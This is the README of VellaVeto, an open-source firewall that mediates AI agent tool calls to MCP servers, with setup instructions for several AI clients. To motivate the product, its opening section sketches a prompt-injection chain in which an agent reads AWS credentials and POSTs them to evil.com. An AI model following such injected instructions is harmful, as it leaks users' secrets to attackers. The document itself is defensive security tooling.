vellaveto

The Problem · Shield · Quick Start · Compare · Security · Architecture · Docs

VellaVeto is an agent interaction firewall — the runtime boundary where AI agents interact with tools, services, and users. Every side-effecting decision crosses this boundary: tool calls are evaluated against policy, irreversible actions require bound approvals, sessions are isolated by design, and every verdict is recorded in a tamper-evident audit trail with a structured ACIS decision envelope. Deploy it as a stdio proxy, HTTP gateway, or consumer-side privacy shield.

The Problem

AI agents can read files, make HTTP requests, and execute commands. Without centralized controls:

Agent receives prompt injection
  → reads ~/.aws/credentials
  → POST https://evil.com/exfil?data=AKIA...
  → no audit trail, no one notices

This is not hypothetical. The MCP ecosystem has accumulated dozens of published CVEs in roughly the last 15 months: command injection in mcp-remote (CVE-2025-6514), path traversal in Anthropic's official Git MCP server (CVE-2025-68143/44/45), SANDWORM npm supply-chain worms injecting rogue MCP servers into AI configs, and SmartLoader trojans distributed as MCP packages. Thousands of MCP servers have been found exposed with no authentication.

VellaVeto is the runtime boundary between AI agents and tool servers. Every side-effecting call is evaluated against policy before execution. No policy match, missing context, or evaluation error results in Deny. Every decision is logged in a tamper-evident chain with a structured ACIS decision envelope.

Agent attempts: read_file("/home/user/.aws/credentials")
  → VellaVeto evaluates against policy
  → Deny { reason: "path blocked by credential-protection rule" }
  → Logged with SHA-256 chain + Ed25519 checkpoint
  → Agent never sees the file contents

Consumer Shield — Protect Users from AI Providers

Enterprise security is half the story. When AI providers process tool calls through their infrastructure, they see your file paths, credentials, browsing patterns, and work context. The Consumer Shield is a user-side deployment mode that protects individuals from mass data collection — regardless of what the provider's terms of service say.

You type: "Read my medical records at /home/alice/health/lab-results.pdf"
  → Shield intercepts before the provider sees it
  → PII replaced: "Read my medical records at [PII_PATH_1]"
  → Provider processes the sanitized request
  → Response comes back, Shield restores original paths
  → Encrypted local audit proves what was shared and what was stripped

What the Shield does:

The Shield runs locally as vellaveto-shield and is licensed under MPL-2.0 — no enterprise license required.

vellaveto-shield --config consumer-shield.toml -- npx @anthropic/claude-desktop

What It Does

VellaVeto enforces five boundary invariants at the runtime surface where agents act on the world:

1. No tool invocation without capability — every side-effecting call is mediated through a shared evaluation pipeline, producing a structured ACIS decision envelope regardless of transport
2. Delegated capability is monotonic — capability grants can only attenuate, never escalate; formally verified in Verus and Coq
3. Irreversible actions require signed approvals — bound, replay-safe, single-use approvals with session and fingerprint binding
4. No cross-session leakage, coherent cross-session work — session isolation is a product invariant, not best-effort; credential rotation, context window isolation, and stylometric normalization enforce unlinkability
5. Untrusted content cannot silently drive privileged actions — control/data channel separation: untrusted tool responses auto-taint the session regardless of detection, intent scope declarations constrain action space, and behavioral sequence analysis catches anomalous patterns. These three layers compose into detection-independent defense

These invariants are enforced by concrete runtime capabilities:

• Policy engine — glob/regex/domain matching, parameter constraints, time windows, call limits, per-tool quotas, secret substitution, declarative policy templates, Cedar-style ABAC, Wasm plugins. <5ms P99 evaluation.
• Threat detection — injection, tool squatting, rug pulls, schema poisoning, DLP, memory poisoning, multi-agent collusion, semantic output contracts, trust-tier containment, contagion controls, response metadata stripping, delegation chain enforcement, jailbreak patterns, token leakage, system prompt leak, browser agent attacks, output anomalies, denial-of-wallet, cascade failure detection, exfiltration path analysis, server fingerprint drift, goal drift, A2A integrity, NHI overpermission, agent behavioral baseline, prompt template injection, ETDI signature verification, MINJA defense, and control/data channel separation (source-class tainting, intent scope, behavioral sequence analysis). 30+ detection layers, not just regex.
• Identity and access — OAuth 2.1/JWT, OIDC/SAML, RBAC, capability delegation, DPoP (RFC 9449), non-human identity lifecycle.
• Topology discovery — auto-discover MCP servers, tools, and resources. Detect drift, tool shadowing, and namespace collisions.
• Audit and compliance — tamper-evident logs (SHA-256 + Merkle + Ed25519), ACIS decision envelopes, ZK proofs, OTel-compatible span generation, evidence packs mapped to EU AI Act, SOC 2, DORA, NIS2, NIST AI 600-1, ISO 42001, and 6 more frameworks. Annex IV documentation, Article 73 incident reports, and FRIA data export generators.
• Consumer shield — all of the above, running user-side. See Consumer Shield.

Core guarantees:

• Complete mediation — request and response paths evaluated before tool execution and before model return
• Fail-closed — errors, missing policies, and unresolved context all produce Deny
• Tamper-evident audit — SHA-256 hash chain + Merkle proofs + Ed25519 signed checkpoints, with structured ACIS decision envelopes on every verdict
• Content-bound attestation — HMAC-SHA256 signed scan results on every response, cryptographically binding injection/DLP/schema verdicts to the response content hash. Consumers verify with SDK.verify_attestation(). Set VELLAVETO_ATTESTATION_SECRET to enable.
• Public security contract — Security Guarantees + Assurance Case with reproducible evidence

Quick Start

Instant Protection

Pick a protection level and go — no config file needed:

# Install (pick one):
cargo install vellaveto-proxy                 # From source (~2 min)
# or download pre-built binary from https://github.com/paolovella/vellaveto/releases

# Shield — credentials, SANDWORM defense, exfil blocking, injection/DLP
vellaveto-proxy --protect shield -- npx @modelcontextprotocol/server-filesystem /tmp

# Fortress — shield + system files, package configs, sudo approval, memory tracking
vellaveto-proxy --protect fortress -- python -m mcp_server

# Vault — deny-by-default, safe reads allowed, writes require approval
vellaveto-proxy --protect vault -- ./my-server

Setup Wizard

npx create-vellaveto

Custom Config

vellaveto-proxy --config policy.toml -- /path/to/mcp-server

HTTP Reverse Proxy (deployed MCP servers)

cargo install vellaveto-http-proxy
VELLAVETO_API_KEY=$(openssl rand -hex 32) vellaveto-http-proxy \
  --upstream http://localhost:8000/mcp \
  --config policy.toml \
  --listen 127.0.0.1:3001

Docker

docker pull ghcr.io/paolovella/vellaveto:latest
docker run -p 3000:3000 \
  -v /path/to/config.toml:/etc/vellaveto/config.toml:ro \
  ghcr.io/paolovella/vellaveto:latest

Use with Claude Desktop

Edit ~/Library/Application Support/Claude/claude_desktop_config.json (macOS) or %APPDATA%\Claude\claude_desktop_config.json (Windows):

{
  "mcpServers": {
    "filesystem": {
      "command": "vellaveto-proxy",
      "args": [
        "--protect", "shield",
        "--", "npx", "-y",
        "@modelcontextprotocol/server-filesystem", "/home/user/projects"
      ]
    }
  }
}

Use with Cursor

Edit .cursor/mcp.json in your project directory:

{
  "mcpServers": {
    "filesystem": {
      "command": "vellaveto-proxy",
      "args": [
        "--protect", "fortress",
        "--", "npx", "-y",
        "@modelcontextprotocol/server-filesystem", "."
      ]
    }
  }
}

Use with Windsurf

Edit ~/.codeium/windsurf/mcp_config.json:

{
  "mcpServers": {
    "filesystem": {
      "command": "vellaveto-proxy",
      "args": [
        "--protect", "fortress",
        "--", "npx", "-y",
        "@modelcontextprotocol/server-filesystem", "."
      ]
    }
  }
}

Replace shield/fortress with vault for maximum security. The same pattern works with any MCP client — wrap the server command with vellaveto-proxy --protect <level> --.

Use with OpenAI Codex CLI

Edit ~/.codex/config.json:

{
  "mcpServers": {
    "filesystem": {
      "command": "vellaveto-proxy",
      "args": [
        "--protect", "shield",
        "--", "npx", "-y",
        "@modelcontextprotocol/server-filesystem", "."
      ]
    }
  }
}

Use with VS Code (Copilot / Cline / Roo Code)

Add to your VS Code settings.json:

{
  "mcp": {
    "servers": {
      "filesystem": {
        "command": "vellaveto-proxy",
        "args": [
          "--protect", "fortress",
          "--", "npx", "-y",
          "@modelcontextprotocol/server-filesystem", "."
        ]
      }
    }
  }
}

See docs/QUICKSTART.md for more providers (Zed, JetBrains, Amazon Q, Continue) and SDK integration guides (Anthropic, OpenAI, LangChain, LangGraph, CrewAI).

VellaVeto Desktop (native app)

One-click protection for all your AI tools — no manual config editing needed.

• Auto-detection — finds Claude Desktop, Claude Code, Cursor, Windsurf, VS Code (Copilot/Cline/Roo Code), OpenAI Codex CLI, Zed, Continue, Amazon Q Developer, JetBrains AI
• One-click protect — rewrites MCP config to wrap servers with vellaveto-proxy --protect <level>
• Activity feed — real-time JSONL event stream showing every allow/deny decision
• Risk scanning — flags broad filesystem access, unprotected npx commands, missing protection

Built with Tauri v2 (Rust backend + React frontend). Source: packages/vellaveto-desktop/.

How It Works

Every side-effecting decision crosses VellaVeto's runtime boundary:

                    ┌──────────────────────────────────┐
  AI Agent ────────>│     VellaVeto Runtime Boundary    │────────> Tool Server
                    │                                  │
                    │  1. Parse action + fingerprint   │
                    │  2. Match policy (fail-closed)   │
                    │  3. Evaluate constraints + ABAC  │
                    │  4. Check approval (if required) │
                    │  5. Allow / Deny verdict         │
                    │  6. ACIS decision envelope       │
                    │  7. Tamper-evident audit log      │
                    └────────────────┬─────────────────┘
                                     │
                    Audit trail: SHA-256 chain +
                    ACIS envelopes + Ed25519 signatures

The same mediation pipeline runs across all transports (stdio, HTTP, WebSocket, gRPC, SSE) — transport parity is enforced, not assumed.

Architecture

graph TD
    subgraph "Policy Core"
        VT[vellaveto-types] --> VCfg[vellaveto-config]
        VT --> VCan[vellaveto-canonical]
        VT --> VE[vellaveto-engine]
        VT --> VDisc[vellaveto-discovery]
        VE --> VA[vellaveto-audit]
        VE --> VAppr[vellaveto-approval]
    end

    subgraph "Gateway & Control Plane"
        VA --> VMCP[vellaveto-mcp]
        VCfg --> VP[vellaveto-proxy]
        VMCP --> VP
        VMCP --> VHP[vellaveto-http-proxy]
        VMCP --> VServer[vellaveto-server]
        VCfg --> VCluster[vellaveto-cluster]
        VCluster --> VOp[vellaveto-operator]
    end

    subgraph "Consumer & Ecosystem"
        VS[vellaveto-shield] --> MS[vellaveto-mcp-shield]
        VS --> HS[vellaveto-http-proxy-shield]
        VS --> VC[vellaveto-canary]
        MCPSEC[mcpsec]
    end

    MS --> VMCP
    HS --> VHP
    VC --> VA

Lower crates never depend on higher crates. The boundary contract (vellaveto-types ACIS envelope) flows down from the leaf; runtime surfaces (proxy, http-proxy, shield) enforce the same mediation pipeline at the top. vellaveto-operator is standalone (kube-rs, no internal deps). License tiers are documented separately in LICENSING.md.

Boundary Capabilities

Security

Internal Adversarial Auditing

VellaVeto is continuously exercised by internal adversarial audit sweeps mapped to the OWASP Top 10 for Agentic Applications. These are not third-party audits: they are recurring internal red-team exercises where we attack the running system, document findings, land fixes, and add regressions. The current sweep history and methodology live in the changelog and security guarantees.

• Fail-closed everywhere — empty policy sets, missing parameters, lock poisoning, capacity exhaustion, and evaluation errors all produce Deny
• Zero unwrap() in library code — all error paths return typed errors; panics reserved for tests only
• Broad automated coverage — Rust, SDK, integration, benchmark, and fuzz suites back the core policy, proxy, and audit paths
• Post-quantum ready — Hybrid Ed25519 + ML-DSA-65 (FIPS 204) audit signatures, feature-gated behind pqc-hybrid

Formal Verification

We use formal methods to prove — not just test — critical security properties:

Formal verification spans TLA+, Verus, Kani, Lean 4, Coq, and Alloy. The live property catalog and current counts are maintained in formal/README.md; the trust boundary and assumptions are documented in docs/TRUSTED_COMPUTING_BASE.md.

Former Limitations (Now Resolved)

All four previously documented limitations have been addressed:

• Cross-call DLP — SessionDlpTracker with overlap buffers detects secrets split across multiple tool calls within a session (~150 bytes state per field). See cross_call_dlp.rs.
• Grammar-validated injection — JSON Schema pattern constraints compiled to DFAs provide a positive security model (Phase 72). The existing Aho-Corasick pre-filter remains as defense-in-depth. MCPSEC A14 attack tests validate enforcement.
• TLS termination — Built-in rustls-based TLS/mTLS via the vellaveto-tls crate. Supports SPIFFE identity extraction, post-quantum key exchange policies, and automatic ALPN negotiation. External reverse proxy remains optional.
• Independent verification — Bug bounty program (HackerOne + Huntr), OSTIF audit scope, Codecov integration, and OpenSSF Best Practices Badge enrollment.

Full details: Security Guarantees | Threat Model | Assurance Case | ACIS Contract

MCPSEC Benchmark

We built MCPSEC, an open, vendor-neutral security benchmark for MCP gateways (Apache-2.0). It defines 10 formal security properties and 105 reproducible attack test cases across 16 attack classes. The current published reference result for VellaVeto is mcpsec/results/vellaveto-v6.1.json: 100/100 (Tier 5: Hardened) on 105/105 tests. Run it against any MCP gateway — including ours:

cargo run -p mcpsec -- --target http://localhost:3000 --format markdown

See mcpsec/README.md for properties, attack classes, and methodology.

Compliance & Regulatory Frameworks

VellaVeto maps runtime security controls to 12 regulatory and industry frameworks — the only MCP gateway with built-in compliance evidence generation. Each framework has a dedicated Rust registry that maps VellaVeto capabilities to specific articles, clauses, or controls, with coverage reports and evidence packs for regulated frameworks.

Regulatory: EU AI Act (Art 9/10/12/14/50), NIS2 (Art 21-23 with 24h/72h/1M incident timelines), DORA (Ch II/III/V for financial ICT resilience), ISO 42001 (AI management system)

Trust & Certification: SOC 2 Type II (CC1-CC9 with automated CC6 access reviews), NIST AI 600-1 (12 GenAI risk areas)

Threat & Security: OWASP Top 10 Agentic (ASI01-ASI10), OWASP MCP Top 10 (MCP01-MCP10), CoSAI (38/38 controls), Adversa TOP 25 (25/25), CSA Agentic Trust Framework, Singapore MGF

Cross-regulation incident reporting maps a single security incident to the notification timelines of every applicable framework (NIS2 24h pre-notification, DORA classification, EU AI Act Art 62 obligations). 10-framework gap analysis provides a consolidated coverage report with priority-ranked remediation guidance.

Full details: Compliance Guide | Website: vellaveto.online/compliance

How It Compares

Trade-offs: AgentGateway and MCP-Scan have strong institutional backing (Linux Foundation, Snyk) and larger communities. AgentGateway excels as a connectivity and observability layer with external policy engine integration (OPA, OpenFGA); MCP-Scan excels at scanning MCP server configurations and now includes a runtime proxy mode. Both have solid security features. Lasso Gateway and PipeLock (Go, single binary) are closer in scope but lighter on depth. VellaVeto differentiates as a runtime boundary enforcer: integrated policy evaluation (<5ms P99), structured ACIS decision envelopes on every verdict, multi-transport parity, session isolation as a product invariant, compliance evidence, and formal verification of boundary properties. The table above is our honest best-effort comparison — we encourage you to evaluate each tool against your own requirements.

Deployment Modes

See docs/DEPLOYMENT.md for configuration details.

Documentation

Getting Started

Security & Compliance

Operations & Architecture

SDKs

Development

# Build
cargo build --release

# Test
cargo test --workspace

# Lint
cargo clippy --workspace --all-targets

# Format
cargo fmt --check

# Security audit
cargo audit

# Benchmarks
cargo bench --workspace

# Fuzz (requires nightly)
cd fuzz && cargo +nightly fuzz run fuzz_json_rpc_framing -- -max_total_time=60

See CONTRIBUTING.md for development rules and commit format.

CI Policy Validation

Validate your policy config in GitHub Actions:

- uses: paolovella/vellaveto/.github/actions/policy-check@main
  with:
    config: vellaveto.toml
    strict: true

License

Enterprise crates are free for production use at ≤3 nodes / ≤25 endpoints. Each version converts to MPL-2.0 after 3 years. See LICENSING.md for full details. For managed service offerings or above-threshold deployments, contact [email protected].

References

• MCP Specification 2025-11-25
• OWASP Top 10 for Agentic Applications 2026
• OWASP Top 10 for MCP Servers
• CoSAI MCP Security Whitepaper
• ETDI: Mitigating Tool Squatting and Rug Pull Attacks in MCP
• Enterprise-Grade Security for MCP
• MCP Security Vulnerabilities — Practical DevSecOps